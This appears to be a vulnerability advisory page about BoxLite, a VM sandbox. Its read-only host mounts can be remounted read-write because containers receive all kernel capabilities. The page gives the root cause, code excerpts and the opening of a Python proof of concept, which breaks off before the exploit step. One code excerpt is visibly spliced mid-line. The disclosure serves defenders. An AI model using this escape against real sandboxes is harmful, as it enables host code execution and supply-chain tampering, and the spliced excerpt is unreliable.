VulnWatch VulnWatch
← Back to dashboard
Critical github · GHSA-g6ww-w5j2-r7x3

BoxLite: Permission Bypass Allows Modification of Read-Only Files

Published May 21, 2026 CVSS 10.0

Summary

Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code.

One of the core security features claimed by Boxlite is the ability to mount host directories in read-only mode (read_only=True) into the VM via the virtiofs protocol (a host-guest shared filesystem protocol designed specifically for virtual machines), so that untrusted code can only read but not modify host data. Since the underlying function of the lightweight VM library libkrun used by Boxlite does not support mounting in read-only mode, Boxlite chooses to implement read-only by adding the MS_RDONLY flag when mounting the directory after the VM starts.

However, because Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only.

In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.

Details

  1. User-Facing API Documents Read-Only Guarantee

File: boxlite/src/runtime/options.rs Function: VolumeSpec (line 223) Code:

/// Filesystem mount specification.
pub struct VolumeSpec {
    pub host_path: String,
    pub guest_path: String,
    pub read_only: bool,  //  HashSet {
     [
         // ...
         Capability::SysModule,    // 16: load/unload kernel modules
         Capability::SysRawio,     // 17: perform I/O port operations
         Capability::SysAdmin,     // 21: various admin operations
         Capability::NetAdmin,     // 12: network administration
         Capability::NetRaw,       // 13: use RAW/PACKET sockets
         Capability::MacOverride,  // 32: override MAC
         Capability::Bpf,          // 39: BPF operations
         // ... all 41 capabilities
     ]
     .into_iter()
     .collect()
 }

Issue: Returns all 41 capabilities including the most dangerous ones, like Capability::SysAdmin. The function comment itself says "maximum compatibility but reduced security isolation."

PoC

  1. Install Boxlite following the official tutorial.

  2. Run the following Python script:

    import asyncio
    import os
    import tempfile
    import sys
    from boxlite import Boxlite, BoxOptions
    
    
    async def run(box, cmd):
        """Run shell command via native box.exec API."""
        execution = await box.exec("sh", ["-c", cmd], None)
        stdout_stream = execution.stdout()
        stderr_stream = execution.stderr()
    
        stdout_lines, stderr_lines = [], []
    
        async def read_stdout():
            async for line in stdout_stream:
                stdout_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))
    
        async def read_stderr():
            async for line in stderr_stream:
                stderr_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))
    
        await asyncio.gather(read_stdout(), read_stderr())
        result = await execution.wait()
    
        return {
            'exit_code': result.exit_code,
            'stdout': ''.join(stdout_lines),
            'stderr': ''.join(stderr_lines),
        }
    
    async def main():
        # Step 1: Set up host directory with a read-only file
        host_dir = tempfile.mkdtemp(prefix="virtiofs_ro_poc_")
        ro_file = os.path.join(host_dir, "read_only.txt")
    
        with open(ro_file, "w") as f:
            f.write("original content\n")
    
        print(f"[+] Step 1: Host directory created: {host_dir}")
        print(f"    read_only.txt: {open(ro_file).read().strip()}")
        print()
    
        guest_mount = "/mnt/sensitive"
        print(f"[+] Step 2: Launching BoxLite VM with:")
        print(f"    volumes=[('{host_dir}', '{guest_mount}', True)]  # read_only=True")
        print()
    
        try:
            runtime = Boxlite.default()
            opts = BoxOptions(
                image="alpine:latest",
                volumes=[(host_dir, guest_mount, True)],  #
    

Affected AI Products

large language model ai agent
Get the weekly digest. Every Monday: top AI security stories of the week. Free.